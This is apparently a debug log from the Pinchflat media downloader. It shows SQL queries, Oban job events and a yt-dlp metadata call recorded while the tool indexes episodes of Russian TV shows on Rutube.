"c721dbeb0ffcf996a27d6b3b3b89e649", 5407, false, "https://rutube.ru/video/c721dbeb0ffcf996a27d6b3b3b89e649/", 10, "/downloads/rutubeShows/Дом отдыха Ягодка/Season 2024/s2024e111600 - Дом отдыха "Ягодка", 2 сезон, 5 выпуск.mp4", false, false, false, 2, [], 1, ~U[2024-11-16 05:10:13Z], ~U[2025-12-09 08:13:41Z], ~U[2025-12-09 08:13:41Z], "Роман Каграманов перенесёт участников во времена их юности. А для сложившихся пар ведущий вместе с детьми подготовит очередную проверку, чтобы понять их истинные чувства и намерения. Изменят ли свидания этой недели ход событий? И как герои отреагируют на появление нового участника, узнаем из программы «Дом отдыха “Ягодка”».", "Дом отдыха \"Ягодка\", 2 сезон, 5 выпуск", "c721dbeb0ffcf996a27d6b3b3b89e649", 5407, false, "https://rutube.ru/video/c721dbeb0ffcf996a27d6b3b3b89e649/", "/downloads/rutubeShows/Дом отдыха Ягодка/Season 2024/s2024e111600 - Дом отдыха "Ягодка", 2 сезон, 5 выпуск.mp4", false, 2, ~U[2024-11-16 05:10:13Z]] 11:13:42.440 [debug] QUERY OK source="sources" db=35.2ms queue=0.2ms idle=694.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 11:13:42.442 [debug] QUERY OK source="media_items" db=0.5ms queue=0.1ms idle=665.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-11-23 05:40:07Z], 2] 11:13:43.227 [debug] QUERY OK source="media_items" db=782.4ms idle=663.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["За несколько шагов до финала участникам предстоит убедиться в своём выборе. Новые герои проверят на прочность пары дома отдыха, а Рома Каграманов предложит «ягодкам» принять участие в чувственных испытаниях. Какие неожиданности подготовила эта неделя романтического эксперимента, смотрите в программе «Дом отдыха “Ягодка”».", "Дом отдыха \"Ягодка\", 2 сезон, 6 выпуск", "15ef30c7-3f02-4d3a-a8b6-e73bc2eed7f7", "c156a49a017814bf78be0d2985562cdb", 3804, false, "https://rutube.ru/video/c156a49a017814bf78be0d2985562cdb/", 11, "/downloads/rutubeShows/Дом отдыха Ягодка/Season 2024/s2024e112300 - Дом отдыха "Ягодка", 2 сезон, 6 выпуск.mp4", false, false, false, 2, [], 1, ~U[2024-11-23 05:40:07Z], ~U[2025-12-09 08:13:42Z], ~U[2025-12-09 08:13:42Z], "За несколько шагов до финала участникам предстоит убедиться в своём выборе. Новые герои проверят на прочность пары дома отдыха, а Рома Каграманов предложит «ягодкам» принять участие в чувственных испытаниях. Какие неожиданности подготовила эта неделя романтического эксперимента, смотрите в программе «Дом отдыха “Ягодка”».", "Дом отдыха \"Ягодка\", 2 сезон, 6 выпуск", "c156a49a017814bf78be0d2985562cdb", 3804, false, "https://rutube.ru/video/c156a49a017814bf78be0d2985562cdb/", "/downloads/rutubeShows/Дом отдыха Ягодка/Season 2024/s2024e112300 - Дом отдыха "Ягодка", 2 сезон, 6 выпуск.mp4", false, 2, ~U[2024-11-23 05:40:07Z]] 11:13:43.371 [debug] QUERY OK source="sources" db=142.7ms queue=0.1ms idle=826.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 11:13:43.372 [debug] QUERY OK source="media_items" db=1.0ms queue=0.1ms idle=931.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-12-07 04:10:02Z], 2] 11:13:44.182 [debug] QUERY OK source="media_items" db=807.9ms idle=931.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Участников ждёт подготовка к встрече гостей. «Ягодки» познакомятся с родственниками и друзьями своих избранников. Это станет радостным событием для одних и настоящим испытанием для других. Что поменяется в отношениях возлюбленных после общения с близкими людьми, покажет программа «Дом отдыха “Ягодка”».", "Дом отдыха \"Ягодка\", 2 сезон, 7 выпуск", "5ab34ba5-6e4a-4730-bc80-89879802b2d7", "59cba39d8ed9cd186a4dd91bf5f687c8", 5615, false, "https://rutube.ru/video/59cba39d8ed9cd186a4dd91bf5f687c8/", 12, "/downloads/rutubeShows/Дом отдыха Ягодка/Season 2024/s2024e120700 - Дом отдыха "Ягодка", 2 сезон, 7 выпуск.mp4", false, false, false, 2, [], 1, ~U[2024-12-07 04:10:02Z], ~U[2025-12-09 08:13:43Z], ~U[2025-12-09 08:13:43Z], "Участников ждёт подготовка к встрече гостей. «Ягодки» познакомятся с родственниками и друзьями своих избранников. Это станет радостным событием для одних и настоящим испытанием для других. Что поменяется в отношениях возлюбленных после общения с близкими людьми, покажет программа «Дом отдыха “Ягодка”».", "Дом отдыха \"Ягодка\", 2 сезон, 7 выпуск", "59cba39d8ed9cd186a4dd91bf5f687c8", 5615, false, "https://rutube.ru/video/59cba39d8ed9cd186a4dd91bf5f687c8/", "/downloads/rutubeShows/Дом отдыха Ягодка/Season 2024/s2024e120700 - Дом отдыха "Ягодка", 2 сезон, 7 выпуск.mp4", false, 2, ~U[2024-12-07 04:10:02Z]] 11:13:44.220 [debug] QUERY OK source="sources" db=37.7ms queue=0.1ms idle=957.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 11:13:44.223 [debug] QUERY OK source="media_items" db=1.0ms queue=0.1ms idle=996.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-12-21 05:20:10Z], 2] 11:13:45.500 [debug] QUERY OK source="media_items" db=1273.7ms idle=852.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Приближается главное событие сезона – финальная церемония. Но перед тем, как влюблённые пары дадут ответ, готовы ли они продолжать отношения, им будет устроено испытание совместным бытом. Герои побывают в родных городах своих избранников, посмотрят, как они живут и чем увлекаются, и познакомятся с родителями. Окажутся ли чувства участников взаимными, узнаем из программы «Дом отдыха “Ягодка”».", "Дом отдыха \"Ягодка\", 2 сезон, 8 выпуск", "4fc85204-fae5-4676-9d9b-8b3adb7d2dc1", "4fd1ae3e53965d66a7868ca02955a618", 5927, false, "https://rutube.ru/video/4fd1ae3e53965d66a7868ca02955a618/", 13, "/downloads/rutubeShows/Дом отдыха Ягодка/Season 2024/s2024e122100 - Дом отдыха "Ягодка", 2 сезон, 8 выпуск.mp4", false, false, false, 2, [], 1, ~U[2024-12-21 05:20:10Z], ~U[2025-12-09 08:13:44Z], ~U[2025-12-09 08:13:44Z], "Приближается главное событие сезона – финальная церемония. Но перед тем, как влюблённые пары дадут ответ, готовы ли они продолжать отношения, им будет устроено испытание совместным бытом. Герои побывают в родных городах своих избранников, посмотрят, как они живут и чем увлекаются, и познакомятся с родителями. Окажутся ли чувства участников взаимными, узнаем из программы «Дом отдыха “Ягодка”».", "Дом отдыха \"Ягодка\", 2 сезон, 8 выпуск", "4fd1ae3e53965d66a7868ca02955a618", 5927, false, "https://rutube.ru/video/4fd1ae3e53965d66a7868ca02955a618/", "/downloads/rutubeShows/Дом отдыха Ягодка/Season 2024/s2024e122100 - Дом отдыха "Ягодка", 2 сезон, 8 выпуск.mp4", false, 2, ~U[2024-12-21 05:20:10Z]] 11:13:45.636 [debug] QUERY OK source="sources" db=130.0ms queue=0.1ms idle=1285.6ms UPDATE "sources" SET "last_indexed_at" = ?, "updated_at" = ? WHERE "id" = ? [~U[2025-12-09 08:13:45Z], ~U[2025-12-09 08:13:45Z], 2] 11:13:45.676 [debug] QUERY OK source="media_items" db=37.9ms queue=0.1ms idle=1415.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [2] 11:13:45.679 [debug] QUERY OK source="media_items" db=0.6ms queue=0.1ms idle=1451.0ms SELECT count(*) FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [2] 11:13:45.680 [debug] QUERY OK source="media_items" db=0.6ms queue=0.5ms idle=362.2ms SELECT count(*) FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [2] 11:13:46.405 [debug] QUERY OK source="tasks" db=436.9ms queue=0.1ms idle=291.5ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [2218, 2, ~U[2025-12-09 08:13:45Z], ~U[2025-12-09 08:13:45Z]] 11:13:46.748 [info] {"args":{"id":2},"id":2210,"meta":{},"state":"success","max_attempts":20,"queue":"media_collection_indexing","worker":"Pinchflat.SlowIndexing.MediaCollectionIndexingWorker","source":"oban","duration":34280304,"event":"job:stop","attempt":1,"queue_time":65125,"tags":["media_source","media_collection_indexing","show_in_dashboard"]} 11:14:00.769 [info] {"source":"oban","duration":1109,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:14:01.064 [info] {"source":"oban","duration":1096,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:14:03.420 [info] {"args":{"id":5},"id":2211,"meta":{},"system_time":1765268043420224168,"max_attempts":20,"queue":"media_collection_indexing","worker":"Pinchflat.SlowIndexing.MediaCollectionIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","media_collection_indexing","show_in_dashboard"]} 11:14:03.455 [debug] QUERY OK source="sources" db=34.2ms queue=0.1ms idle=1428.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 11:14:03.456 [debug] QUERY OK source="settings" db=0.8ms queue=0.1ms idle=491.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 11:14:04.133 [debug] QUERY OK source="media_items" db=674.8ms queue=0.1ms idle=493.8ms SELECT count(*) FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [5] 11:14:04.258 [debug] QUERY OK source="media_items" db=123.6ms queue=0.1ms idle=956.2ms SELECT count(*) FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [5] 11:14:04.260 [debug] QUERY OK source="media_profiles" db=0.8ms queue=0.2ms idle=803.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 11:14:04.262 [debug] QUERY OK source="settings" db=0.4ms queue=0.3ms idle=804.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 11:14:04.263 [debug] QUERY OK source="settings" db=0.8ms idle=129.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 11:14:04.268 [debug] Running yt-dlp command for action: get_media_attributes_for_collection 11:14:04.269 [debug] Current batch of media processed. Will check again in 1000ms 11:14:04.270 [debug] QUERY OK source="settings" db=1.3ms idle=88.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 11:14:04.271 [debug] QUERY OK source="settings" db=0.4ms idle=11.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 11:14:04.271 [debug] QUERY OK source="settings" db=0.4ms idle=11.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 11:14:04.274 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://rutube.ru/metainfo/tv/206383/ --simulate --skip-download --ignore-no-formats-error --no-warnings --output /downloads/rutubeShows/4 ДАЧИ/Season %(upload_date>%Y)S/s%(upload_date>%Y)Se%(upload_date>%m%d)S00 - %(title)S.%(ext)S --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/0c/11/0c11939b285e68d3ee0e1b1f1a6451ce31504329bd27008d4c015e11269b17dd.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 11:14:05.273 [debug] Current batch of media processed. Will check again in 1000ms 11:14:06.276 [debug] Current batch of media processed. Will check again in 1000ms 11:14:07.279 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Показывать свои дачи будут жители Краснодарского края. Домохозяйка Маргарита из хутора Урма пригласит соперников в своё семейное подворье, чтобы удивить богатым урожаем. Блогерша-пенсионерка Екатерина из Ейска похвастается разнообразием цветов на своём участке. А бизнесмен Роман из посёлка Прогресс-Сочи проведёт дегустацию вин и мёда, а также поразит участников экскурсией по дому-музею, который расположен на его даче. Смотрите программу «Четыре дачи»!", "duration" => 3836, "filename" => "/downloads/rutubeShows/4 ДАЧИ/Season 2022/s2022e102200 - Четыре дачи: Краснодарский край 2.mp4", "id" => "1abc46ef1a4fab4555156e2162b3342d", "original_url" => "https://rutube.ru/video/1abc46ef1a4fab4555156e2162b3342d/", "playlist_index" => 1, "timestamp" => 1666423203, "title" => "Четыре дачи: Краснодарский край 2", "upload_date" => "20221022"} 11:14:07.283 [debug] QUERY OK source="sources" db=2.3ms queue=1.4ms idle=1313.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 11:14:07.286 [debug] QUERY OK source="sources" db=1.8ms queue=0.1ms idle=1318.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 11:14:07.288 [debug] QUERY OK source="media_items" db=1.3ms idle=1320.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-10-22 07:20:03Z], 5] 11:14:09.177 [debug] QUERY OK source="media_items" db=1888.2ms idle=1087.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Показывать свои дачи будут жители Краснодарского края. Домохозяйка Маргарита из хутора Урма пригласит соперников в своё семейное подворье, чтобы удивить богатым урожаем. Блогерша-пенсионерка Екатерина из Ейска похвастается разнообразием цветов на своём участке. А бизнесмен Роман из посёлка Прогресс-Сочи проведёт дегустацию вин и мёда, а также поразит участников экскурсией по дому-музею, который расположен на его даче. Смотрите программу «Четыре дачи»!", "Четыре дачи: Краснодарский край 2", "d2a779ba-e809-403c-ae31-fbccc8440276", "1abc46ef1a4fab4555156e2162b3342d", 3836, false, "https://rutube.ru/video/1abc46ef1a4fab4555156e2162b3342d/", 1, "/downloads/rutubeShows/4 ДАЧИ/Season 2022/s2022e102200 - Четыре дачи: Краснодарский край 2.mp4", false, false, false, 5, [], 1, ~U[2022-10-22 07:20:03Z], ~U[2025-12-09 08:14:07Z], ~U[2025-12-09 08:14:07Z], "Показывать свои дачи будут жители Краснодарского края. Домохозяйка Маргарита из хутора Урма пригласит соперников в своё семейное подворье, чтобы удивить богатым урожаем. Блогерша-пенсионерка Екатерина из Ейска похвастается разнообразием цветов на своём участке. А бизнесмен Роман из посёлка Прогресс-Сочи проведёт дегустацию вин и мёда, а также поразит участников экскурсией по дому-музею, который расположен на его даче. Смотрите программу «Четыре дачи»!", "Четыре дачи: Краснодарский край 2", "1abc46ef1a4fab4555156e2162b3342d", 3836, false, "https://rutube.ru/video/1abc46ef1a4fab4555156e2162b3342d/", "/downloads/rutubeShows/4 ДАЧИ/Season 2022/s2022e102200 - Четыре дачи: Краснодарский край 2.mp4", false, 5, ~U[2022-10-22 07:20:03Z]] 11:14:09.679 [debug] QUERY OK source="sources" db=501.1ms queue=0.1ms idle=970.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 11:14:09.682 [debug] QUERY OK source="media_profiles" db=1.9ms queue=0.3ms idle=713.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 11:14:09.686 [debug] QUERY OK source="media_items" db=2.1ms idle=717.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [44606] 11:14:09.730 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Домклик – сервис недвижимости номер один. На Домклик более 30 фильтров поиска идеального загородного дома. https://bit.ly/3Z1OMOD \n\nВадим Абрамов отправляется на 4 дачи Краснодарского края. В Геленджике Анна покажет свою дачу на берегу моря. Юлия из хутора Ленина похвастается цветущей дачей. Мария пригласит дачников в Туапсе на свой пряный участок. А Анна из села Первореченское проведёт экскурсию по своей сиреневой даче. Смотрите программу «Четыре дачи»!", "duration" => 5072, "filename" => "/downloads/rutubeShows/4 ДАЧИ/Season 2023/s2023e081200 - Четыре дачи: Краснодарский край.mp4", "id" => "3aaf6eff87a958502ccc73aefbb94e5b", "original_url" => "https://rutube.ru/video/3aaf6eff87a958502ccc73aefbb94e5b/", "playlist_index" => 2, "timestamp" => 1691850951, "title" => "Четыре дачи: Краснодарский край", "upload_date" => "20230812"} 